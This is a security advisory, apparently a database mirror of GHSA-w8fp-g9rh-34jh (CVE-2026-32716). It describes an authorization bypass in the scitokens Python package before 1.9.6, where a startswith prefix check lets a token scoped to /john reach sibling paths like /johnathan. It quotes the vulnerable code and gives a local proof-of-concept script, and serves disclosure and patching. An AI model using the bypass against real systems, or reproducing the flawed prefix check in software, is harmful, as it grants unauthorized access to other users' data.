GHSA-W8FP-G9RH-34JH
Vulnerability from github – Published: 2026-03-31 22:51 – Updated: 2026-03-31 22:51Summary
The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.
Details
File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope
Vulnerable Code Snippets:
In _validate_scp (around line 696):
for scope in value:
authz, norm_path = self._check_scope(scope)
if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
return True
In _validate_scope (around line 722):
for scope in value.split(" "):
authz, norm_path = self._check_scope(scope)
if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
return True
If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.
PoC
import scitokens
import sys
def poc_scope_bypass():
"""
Demonstrate an Authorization Bypass vulnerability in scope path checking.
"""
print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
issuer = "https://scitokens.org/unittest"
enforcer = scitokens.Enforcer(issuer)
# Create a token with access to /john
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/john"
print(f"Authorized path in scope: /john")
# 1. Test access to /john/file (should be allowed)
print(f"[1] Testing legitimate subpath: /john/file")
if enforcer.test(token, 'read', '/john/file'):
print(" -> Access GRANTED (Correct behavior)")
else:
print(" -> Access DENIED (Incorrect behavior - should have access to subpaths)")
# 2. Test access to /johnathan (SHOULD BE DENIED)
print(f"[2] Testing illegitimate sibling path: /johnathan")
if enforcer.test(token, 'read', '/johnathan'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
# 3. Test access to /johnny (SHOULD BE DENIED)
print(f"[3] Testing illegitimate sibling path: /johnny")
if enforcer.test(token, 'read', '/johnny'):
print(" -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
else:
print(" -> Access DENIED (Correct behavior - fix is working)")
if __name__ == "__main__":
# Ensure scitokens from src/ is available
sys.path.insert(0, "src")
poc_scope_bypass()
Impact
This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "scitokens"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32716"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T22:51:03Z",
"nvd_published_at": "2026-03-31T03:15:57Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `Enforcer` incorrectly validates scope paths by using a simple prefix match (`startswith`). This allows a token with access to a specific path (e.g., `/john`) to also access sibling paths that start with the same prefix (e.g., `/johnathan`, `/johnny`), which is an **Authorization Bypass**.\n\n### Details\n**File:** `src/scitokens/scitokens.py` \n**Methods:** `_validate_scp` and `_validate_scope`\n\n### Vulnerable Code Snippets:\n\n**In `_validate_scp` (around line 696):**\n```python\n for scope in value:\n authz, norm_path = self._check_scope(scope)\n if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n return True\n```\n\n**In `_validate_scope` (around line 722):**\n```python\n for scope in value.split(\" \"):\n authz, norm_path = self._check_scope(scope)\n if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):\n return True\n```\n\nIf `norm_path` (authorized) is `/john` and `norm_requested_path` (requested) is `/johnathan`, `startswith` returns `True`, incorrectly granting access.\n\n### PoC\n```\n\nimport scitokens\nimport sys\n\ndef poc_scope_bypass():\n \"\"\"\n Demonstrate an Authorization Bypass vulnerability in scope path checking.\n \"\"\"\n print(\"--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---\")\n \n issuer = \"https://scitokens.org/unittest\"\n enforcer = scitokens.Enforcer(issuer)\n \n # Create a token with access to /john\n token = scitokens.SciToken()\n token[\u0027iss\u0027] = issuer\n token[\u0027scope\u0027] = \"read:/john\"\n \n print(f\"Authorized path in scope: /john\")\n \n # 1. Test access to /john/file (should be allowed)\n print(f\"[1] Testing legitimate subpath: /john/file\")\n if enforcer.test(token, \u0027read\u0027, \u0027/john/file\u0027):\n print(\" -\u003e Access GRANTED (Correct behavior)\")\n else:\n print(\" -\u003e Access DENIED (Incorrect behavior - should have access to subpaths)\")\n\n # 2. Test access to /johnathan (SHOULD BE DENIED)\n print(f\"[2] Testing illegitimate sibling path: /johnathan\")\n if enforcer.test(token, \u0027read\u0027, \u0027/johnathan\u0027):\n print(\" -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n else:\n print(\" -\u003e Access DENIED (Correct behavior - fix is working)\")\n\n # 3. Test access to /johnny (SHOULD BE DENIED)\n print(f\"[3] Testing illegitimate sibling path: /johnny\")\n if enforcer.test(token, \u0027read\u0027, \u0027/johnny\u0027):\n print(\" -\u003e [VULNERABILITY] Access GRANTED! This is an authorization bypass.\")\n else:\n print(\" -\u003e Access DENIED (Correct behavior - fix is working)\")\n\nif __name__ == \"__main__\":\n # Ensure scitokens from src/ is available\n sys.path.insert(0, \"src\")\n poc_scope_bypass()\n\n```\n### Impact\nThis bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user `john` might be able to read or write to the directory of user `johnathan` simply because their names share a prefix.",
"id": "GHSA-w8fp-g9rh-34jh",
"modified": "2026-03-31T22:51:03Z",
"published": "2026-03-31T22:51:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-w8fp-g9rh-34jh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32716"
},
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/commit/7a237c0f642efb9e8c36ac564b745895cca83583"
},
{
"type": "PACKAGE",
"url": "https://github.com/scitokens/scitokens"
},
{
"type": "WEB",
"url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SciTokens has an Authorization Bypass via Incorrect Scope Path Prefix Checking"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.